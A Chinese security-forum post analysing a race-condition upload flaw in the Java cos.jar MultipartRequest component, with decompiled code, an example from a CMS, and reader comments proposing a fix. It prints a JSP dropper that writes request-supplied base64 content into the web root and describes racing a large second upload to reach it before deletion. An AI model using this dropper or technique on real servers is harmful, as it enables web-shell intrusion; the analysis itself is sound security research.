JavaWeb上传组件(时间竞争漏洞)
hades 漏洞分析 8064浏览 · 2016-11-27 00:13

在做审计的时候,往往经验是比较重要的,但是还是需要留意一些 jar 包,所
预留更初级程序员的坑
今天要说的就是 cos.jar
这是个什么东西能,对于懒人程序员来说使用量还是挺大的.....
参考链接和下载地址http://www.servlets.com/cos/index.html
总体来说就是一个文件上传的组件
在这个组件里面通常会用到这个类
MultipartRequest

有 5 个参数

  1. http 的 request
  2. 缓存的文件路径
  3. 上传文件的大小
  4. 编码
  5. 上传时候 rename 规则

分析一下他具体怎么做的:

public MultipartRequest(HttpServletRequest request, String saveDirectory, int
maxPostSize, String encoding, FileRenamePolicy policy) throws IOException {
this.parameters = new Hashtable();
this.files = new Hashtable();
if(request == null) {
throw new IllegalArgumentException("request cannot be null");
} else if(saveDirectory == null) {
throw new IllegalArgumentException("saveDirectory cannot be null");
} else if(maxPostSize <= 0) {
throw new IllegalArgumentException("maxPostSize must be positive");
} else {
File dir = new File(saveDirectory);
if(!dir.isDirectory()) {
throw new IllegalArgumentException("Not a directory: " +
saveDirectory);
} else if(!dir.canWrite()) {
throw new IllegalArgumentException("Not writable: " +
saveDirectory);
} else {
MultipartParser parser = new MultipartParser(request, maxPostSize,
true, true, encoding);
Vector existingValues;
if(request.getQueryString() != null) {
Hashtable part =
HttpUtils.parseQueryString(request.getQueryString());
Enumeration name = part.keys();
while(name.hasMoreElements()) {
Object filePart = name.nextElement();
String[] fileName = (String[])part.get(filePart);
existingValues = new Vector();
for(int i = 0; i < fileName.length; ++i) {
existingValues.add(fileName[i]);
}
this.parameters.put(filePart, existingValues);
}
}
Part var14;
while((var14 = parser.readNextPart()) != null) {
String var15 = var14.getName();
String var18;
if(var14.isParam()) {
ParamPart var16 = (ParamPart)var14;
var18 = var16.getStringValue();
existingValues = (Vector)this.parameters.get(var15);
if(existingValues == null) {
existingValues = new Vector();
this.parameters.put(var15, existingValues);
}
existingValues.addElement(var18);
} else if(var14.isFile()) {
FilePart var17 = (FilePart)var14;
var18 = var17.getFileName();
if(var18 != null) {
var17.setRenamePolicy(policy);
var17.writeTo(dir);
this.files.put(var15, new UploadedFile(dir.toString(),
var17.getFileName(), var18, var17.getContentType()));
} else {
this.files.put(var15, new UploadedFile((String)null,
(String)null, (String)null, (String)null));
}
}
}
}
}
}

主要就是,通过 http 流解析出来,然后暂时缓存到目录里面,那么这里就会有一个坑,以
往的文件上传,缓存目录是不能设置的,
一旦开发人员设置了缓存目录,并且这个目录位于 web 目录下,那么就造成了任意文件上
传,对于有意识的程序员来说,可能认为
在这个类调用之后,我判断的规则不符合,我直接删除掉,这样以来不就安全了,真的安
全吗?
回过头来,再看看上面的这个程序,这个程序是可以连续读取很多文件的,我们就可以认
为既定时间内上传文件可控
第一个文件就是我们的 shell 文件,内容可以如下:

java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(new sun.misc.BASE64Decoder().decodeBuffer(request.getParameter("c")));out.close();%>

意思就是,上传一个中转文件,如果我们文件为 xxx.jsp,我们可以访问
xxx.jsp?f=mm.jsp&c=aGVsbG8=,这样以来就在 web 的
根目录下写入了一个 shell,shell 的内容就是 hello
不管作者程序是否多文件,你都可以构造第二个文件,内容要大,必须给我们要访问的中
转文件预留时间
实际看一个例子吧,某知名程序:

String newDir = date.format(new Date());
String pathOfTomcat = SysConfigVO.getInstance().getSITE_REAL_PATH();
String saveDirectory = "";
.................
................
...............
} else {
saveDirectory = pathOfTomcat + config.getFILE_UPLOAD_DIR() + File.separator
+ newDir;
}
saveDirectory = StrUtil.replaceAll(saveDirectory, "/", File.separator);
saveDirectory = StrUtil.replaceAll(saveDirectory, "//", File.separator);
saveDirectory = StrUtil.replaceAll(saveDirectory, "\\", File.separator);
File var38 = new File(saveDirectory);
if(!var38.exists()) {
var38.mkdirs();
}
int var37 = config.getFILE_UPLOAD_MAX_SIZE_BYTE();
MultipartRequest multi = null;
try {
multi = new MultipartRequest(requestHelper.getRequest(), saveDirectory,
var37, "gbk", new JcmsFileUploadRenamePolicy());
} catch (IOException var36) {
request.setAttribute("ERROR_MSG", "您上传的文件超出系统规定的大小(" +
config.getFILE_UPLOAD_MAX_SIZE_KB() + " KB,合计 " +
config.getFILE_UPLOAD_MAX_SIZE_M() + " M)");
var36.printStackTrace();
this.log.fatal(var36);
this.log.fatal("您上传的文件超出系统规定的大小(" + var37 / 1024 / 1024 + "
M)");

这样写有用吗,没卵用吧,如果第二个文件非常大,就直接 getshell 了,虽然报错了,都
没有人去删除那个,不是今天重点

if(!extNameAllow) {
s.delete();
this.log.error("您上传的文件类型不合法(" + url + "),允许上传的文件类型有:
" + allowExtName);
request.setAttribute("ERROR_MSG", "您上传的文件类型不合法,允许上传的文件类
型有:" + allowExtName);

这里如果判断你上传的类型不对,直接给删除了,自己写一个 script

访问一下:

4 条评论
某人
表情
可输入 255
hades
2016-11-29 03:58 0 回复

给力,闷闷老师太忙,等他忙过这段时间


applychen
2016-11-29 01:05 0 回复

看过啦,在filePart.writeTo(dir);之前会先设置filePart.setRenamePolicy(policy);


MultipartRequest(HttpServletRequest request,String saveDirectory,int maxPostSize,String encoding,FileRenamePolicy policy) throws IOException {else if (part.isFile()) {

        // It's a file part

        FilePart filePart = (FilePart) part;

        String fileName = filePart.getFileName();

        if (fileName != null) {

          filePart.setRenamePolicy(policy);  // null policy is OK

          // The part actually contained a file

          filePart.writeTo(dir);

          files.put(name, new UploadedFile(dir.toString(),

                                           filePart.getFileName(),

                                           fileName,

                                           filePart.getContentType()));

        }


在FilePart.java里面的writeTo会首先 file = policy.rename(file);对文件进行检查操作,然后再 written = write(fileOut);写文件:

public long writeTo(File fileOrDirectory) throws IOException {

    long written = 0;

    

    OutputStream fileOut = null;

    try {

      // Only do something if this part contains a file

      if (fileName != null) {

        // Check if user supplied directory

        File file;

        if (fileOrDirectory.isDirectory()) {

          // Write it to that dir the user supplied,

          // with the filename it arrived with

          file = new File(fileOrDirectory, fileName);

        }

        else {

          // Write it to the file the user supplied,

          // ignoring the filename it arrived with

          file = fileOrDirectory;

        }

        if (policy != null) {

          file = policy.rename(file);

          fileName = file.getName();

        }

        fileOut = new BufferedOutputStream(new FileOutputStream(file));

        written = write(fileOut);

      }

    }

这个代码里面multi = new MultipartRequest(requestHelper.getRequest(), saveDirectory,var37, "gbk", new JcmsFileUploadRenamePolicy());

JcmsFileUploadRenamePolicy应该是实现FileRenamePolicy接口里面的rename就是上面传入的policy,正常情况下应该在这里对上传的文件后缀进行处理,问了基友说是这个JcmsFileUploadRenamePolicy是空的,所以这里就没有检查了。从if(!extNameAllow){s.delete();} 看,系统应该是另外做了检查,不合规就删除。


这里正常的流程是:

首先MultipartRequest上传文件到web目录saveDirectory,然后判断后缀,不合规就删掉文件

咋看上去是没问题的,坏就坏在MultipartRequest是可以接收多个上传文件域,而判断后缀这个操作是在MultipartRequest上传文件完成之后才进行的。


所以在利用的时候应该是同时上传两个文件一个up.jsp,一个j大文件,在MultipartRequest的时候up.jsp首先写入到saveDirectory目录,接着上传大文件,而且此时MultipartRequest还没有完成,还没有执行判断后缀这个步骤,因此利用上传大文件的时间,访问up.jsp生成rr.jsp。最后当上传大文件完成时,执行检查后缀的步骤,删除了up.jsp,但没关系,最终的rr.jsp已经生成了。


这个系统不应该把saveDirectory放置在web目录,即使放在web目录也不应该String newDir = date.format(new Date());使得目录可预测

修复的话直接在class JcmsFileUploadRenamePolicy里面重写rename过滤下后缀吧


行文期间崩了几次浏览器就没仔细检查了,如有不当请指正。


hades
2016-11-28 23:24 0 回复

你的好基友让你去看那个java包


applychen
2016-11-28 22:47 0 回复

是JcmsFileUploadRenamePolicy里面的rename()没做后缀校验吗,if(!extNameAllow)是哪里调用的,没上下文看得不清晰


目录